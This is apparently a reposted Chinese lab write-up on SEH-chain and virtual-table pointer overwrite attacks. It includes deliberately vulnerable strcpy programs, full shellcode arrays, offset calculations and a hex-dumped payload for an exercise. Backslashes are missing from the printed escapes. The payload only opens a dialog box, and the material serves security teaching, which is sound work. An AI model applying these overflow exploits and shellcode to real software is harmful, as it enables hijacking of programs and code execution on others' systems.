整理了一些比较有价值的以前做的实验内容。
1.目标
1. 了解SEH攻击及虚函数攻击的基本原理
2. 通过调试SEH攻击代码,理解Windows异常处理机制,掌握针对SEH的攻击方式,并利用OllyDbg跟踪异常状态。
3. 调试虚函数攻击代码,理解虚函数工作机制与内存分布方式,掌握基本的虚函数攻击与计算方式,并可以用OllyDbg追踪。
2.测试步骤与结果
SEH链
1.设置OD为实时调试器
2.在strcpy处设下断点,查看此时栈情况。dest地址是0x0012FE48
3.单步步过,shellcode从0x0012FE48开始
4.查看SEH链
5.找到0x0012FF18,是指向下一个SEH记录的指针
6.要覆盖下一个SE处理程序,payload中应有0x0012FF1C-0X0012FE48=212个字节填充。通过除0异常调用SEH链,在被修改过的指针后跳转到shellcode
程序源码:
#include<windows.h>
#include<string>
void MyExceptionHandler(void)
{
printf("got an exception,press Enter to kill process!n");
getchar();
ExitProcess(1);
}
void test(char* input)
{
char buf[200];
int zero=0;
__try
{
strcpy(buf,input);
zero=4/zero;
}
__except(MyExceptionHandler()){}
}
int main()
{
LoadLibrary("user32.dll");
test(shellcode);
system("pause");
return 0;
}
shellcode:
char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x33xDBx53x68x62x75x70x74x68x62x75x70x74x8BxC4x53"
"x50x50x53xB8x68x3DxE2x77xFFxD0x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x48xFEx12x00";
7.运行弹出对话框。
虚函数
1.在strcpy设下断点,查看dest地址0x0042E35C即shellcode开头
2.调试找到虚表指针地址0x0042E430,则shellcode长度应为0x430-0x35C+0x4=0xD8字节
3.将虚函数入口地址,也就是shellcode最后四位,覆写为shellcode开头地址,这样程序查找虚表时就会跳转到shellcode
源码及shellcode:
#include <windows.h>
#include <iostream.h>
char shellcode1[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x33xDBx53x68x62x75x70x74x68x62x75x70x74x8BxC4x53"
"x50x50x53xB8x68x3DxE2x77xFFxD0x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x5CxE3x42x00";
class vf
{
public:
char buf[200];
virtual void test(void)
{
cout<<"Class Vtable::test()"<<endl;
}
};
vf overflow, *p;
void main(void)
{
LoadLibrary("user32.dll");
char * p_vtable;
p_vtable=overflow.buf-4;//point to virtual table
p_vtable[0]=0x30;
p_vtable[1]=0xE4;
p_vtable[2]=0x42;
p_vtable[3]=0x00;
strcpy(overflow.buf,shellcode1);//set fake virtual function pointer
p=&overflow;
p->test();
}
4.运行后弹出对话框
3.测试结论
SEH链攻击和虚函数攻击都是针对指针的攻击,修改程序指针的指向以劫持程序流,达成攻击目的。内存保护机制可以一定程度上阻挡这样的攻击。
4.思考题
程序中有两个虚函数,以及两次strcpy操作,漏洞利用思路是其中一次strcpy通过溢出修改另一个虚函数的虚表指针,第二次strcpy写入shellcode,并在结尾写入虚函数地址(shellcode开头)。这样在p->test()时,会调用shellcode
1.为了找到关键地址,先进行一遍调试。程序读入了两个参数,设置输入参数如下
2.在strcpy设下断点,查看两处dest地址0x0042EB5C、0x0042EB14
则覆写虚表指针的payload长度为0x5C-0x14=0x48字节,并在最后四字节(overflow的虚表指针)写上0x0042EB7C(指向shellcode的结尾)
3.第二个参数内存放弹出对话框的代码,并在结尾加上0x0042EB5C(指向shellcode开头)
完整shellcode:
00000000h: 33 DB 53 68 62 75 70 74 68 62 75 70 74 8B C4 53 ; 3跾hbupthbupt嬆S
00000010h: 50 50 53 B8 68 3D E2 77 FF D0 90 90 90 90 90 90 ; PPS竓=鈝袗悙悙?
00000020h: 5C EB 42 20 20 90 90 90 90 90 90 90 90 90 90 90 ; 隑 悙悙悙悙悙?
00000030h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000040h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000050h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙
00000060h: 90 90 90 90 90 90 90 90 90 7C EB 42 ; 悙悙悙悙恷隑
4.运行弹出对话框
原文链接: https://www.cnblogs.com/sithf/p/15805856.html
欢迎关注
微信关注下方公众号,第一时间获取干货硬货;公众号内回复【pdf】免费获取数百本计算机经典书籍
原创文章受到原创版权保护。转载请注明出处:https://www.ccppcoding.com/archives/185517
非原创文章文中已经注明原地址,如有侵权,联系删除
关注公众号【高性能架构探索】,第一时间获取最新文章
转载文章受原作者版权保护。转载请注明原作者出处!